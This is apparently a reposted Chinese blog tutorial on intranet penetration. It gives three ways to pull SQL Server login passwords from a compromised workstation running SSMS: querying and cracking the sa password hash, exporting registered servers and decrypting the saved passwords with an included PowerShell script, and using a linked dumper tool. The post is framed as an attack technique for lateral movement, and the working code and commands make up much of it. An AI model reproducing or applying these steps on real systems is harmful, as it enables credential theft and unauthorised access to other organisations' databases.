三種方式獲取SSMS連接密碼


內網滲透是有的時候會遇到對方SSMS沒斷開連接正連着別的機器的mssql此時有兩種方法可以獲取sa密碼

當密碼強度較弱時可以使用第一只方式,第一種方式解不開的情況下可以使用后面二種方式

1.直接查詢sa密碼hash

使用如下語句:

Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'

直接得到sa密碼hash

image.png

上cmd5解密

image.png

2.使用SSMS的注冊導出功能

右鍵點擊,然后選擇注冊

image.png

點擊保存

image.png

點擊識圖然后點擊已注冊服務器

image.png

然后右鍵選擇任務,然后導出

image.png

這個記得別勾,點確定

image.png

然后使用powershell腳本解密

param( [Parameter(Mandatory=$true)] [string] $FileName ) Add-Type -AssemblyName System.Security $ErrorActionPreference = 'Stop' function Unprotect-String([string] $base64String) { return [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } $document = [xml] (Get-Content $FileName) $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable) $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08') $attr = $document.DocumentElement.GetAttribute('plainText') if ($attr -ne '' -and $Operation -ieq 'Decrypt') { throw "The file does not contain encrypted passwords." } $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm) foreach ($server in $servers) { $connString = $server.ConnectionStringWithEncryptedPassword.InnerText echo "" echo "Encrypted Connection String:" echo $connString echo "" if ($connString -inotmatch 'password="?([^";]+)"?') {continue} $password = $Matches[1] $password = Unprotect-String $password echo "" echo "Decrypted Connection String:" $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`"" echo $connString echo "" } 

image.png

3.導出SSMS記住的密碼

http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html

https://github.com/zcgonvh/SSMSPwd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM